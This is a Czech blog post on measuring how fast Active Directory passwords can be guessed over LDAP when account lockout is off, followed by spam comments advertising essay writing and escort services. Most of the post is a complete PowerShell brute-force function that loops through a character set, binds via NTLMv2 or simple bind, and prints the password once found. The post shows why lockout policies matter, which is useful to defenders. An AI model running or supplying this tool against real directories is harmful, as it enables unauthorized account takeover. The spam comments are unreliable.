Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > Posts > Online zkoušečka hesel
září 15
Online zkoušečka hesel

Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.

Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.

Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.

Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.

Nebo 470 hesel za vteřinu přes Simple bind.

function global:Try-LdapPasswordsFast (
    [string] $dc, 
    [string] $login, 
    [string] $domain, 
    [switch] $authBasic, 
    [int] $tryLength = 5,
    [string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    )
{
  if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {

    [void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
  }

  [System.DirectoryServices.Protocols.LdapConnection] $conn = $null
  [System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
  $global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop

  try {

    if ($authBasic -and ($dc -notlike '?*:?*')) {

      $dc = $dc + ':636'
    }

    $conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc

    if ($authBasic) {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $false
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $true
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic

    } else {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $true
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $false
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
    }

    [double] $pwdCount = 1;
    for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
    Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)


    [byte[]] $charMatrix = New-Object byte[] $tryLength
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }

    [byte] $positionMax = $charSet.Length - 1
    [int] $iteration = 0
    [string] $foundPwd = [string]::Empty
    [System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }

    $error.Clear()
    $dtStart = [DateTime]::Now

    do {

      $iteration ++

      [byte] $i = 0
      while ($i -lt $charMatrix.Length) {

        if ($charMatrix[$i] -eq $positionMax) {

          $charMatrix[$i] = 0
          $i ++
          continue
          
        } else {

          $charMatrix[$i] = $charMatrix[$i] + 1
          break
        }
      }

      for ($k = 0; $k -lt $charMatrix.Length; $k ++)
      {
        $pwdMachine[$k] = $charSet[$charMatrix[$k]]
      }

      $onePwd = $pwdMachine.ToString()
    
      $cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
      [bool] $check = $true

      try {

        $conn.Bind($cred)

      } catch {

        #Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
        $check = $false
      }

      if ($check) {

        $foundPwd = $onePwd
        break
      }

      if (($iteration % 27000) -eq 0) {

        $dtProcessDiff = [DateTime]::Now - $dtStart
        Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
      }

    } while ($i -lt $charMatrix.Length)

    $dtEnd = [DateTime]::Now

    Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
    
    if ([string]::IsNullOrEmpty($foundPwd)) {

      Write-Host ('Didnt find the password')

    } else {

      Write-Host ('Found password: {0}' -f $foundPwd)
    }
  
  } catch {

    Write-Host ('Error: {0}' -f $_.Exception.Message)

  } finally {

    if (-not ([object]::Equals($null, $conn))) {

      $conn.Dispose()
    }

    $global:errorActionPreference = $errorActionBackup
  }
}

Tak jen pro představu.

Comments

Ask

Do you think It's too hard to earn?


https://snake-game.io
Dennis Watson on 28.9.2023 9:00

Re: Online zkoušečka hesel

When it comes to academic support, https://speedypaper.com/buy-research-paper is unmatched. Their commitment to excellence shines through in every paper. Highly recommend SpeedyPaper.com for top-notch assistance!
Brandt Daubney on 21.11.2023 16:47

Call Girl Ghaziabad

Input is consistently welcome for us, so if it's not too much trouble, go ahead and reach us. Your custom and satisfaction means quite a bit to us and assists us with being the best escort organization in by educating us regarding your experience and how we can work on our administration to you. On each female escort's page, there is a structure for you to compose a survey on them about our escort administration.
https://www.sanakhan.in/ghaziabad-call-girls.html
rakhi sharma on 8.12.2023 14:18

Add Comment

Title


Pole Title nemusíte vyplňovat, doplní se to samo na stejnou hodnotu jako je nadpis článku.

Author *


Pole Author nesmí být stejné jako pole Title! Mám to tu jako ochranu proti spamu. Roboti to nevyplní dobře :-)

Body *


Type number two as digit *


Semhle vyplňte číslici dvě. Předchozí antispemové pole nefunguje úplně dokonale, zdá se, že jsou i spamery, které pochopily, že je občas potřeba vyplnit autora :-)

Email


Emailová adresa, pokud na ni chcete ode mě dostat odpověď. Nikdo jiný než já vaši emailovou adresu neuvidí.

Attachments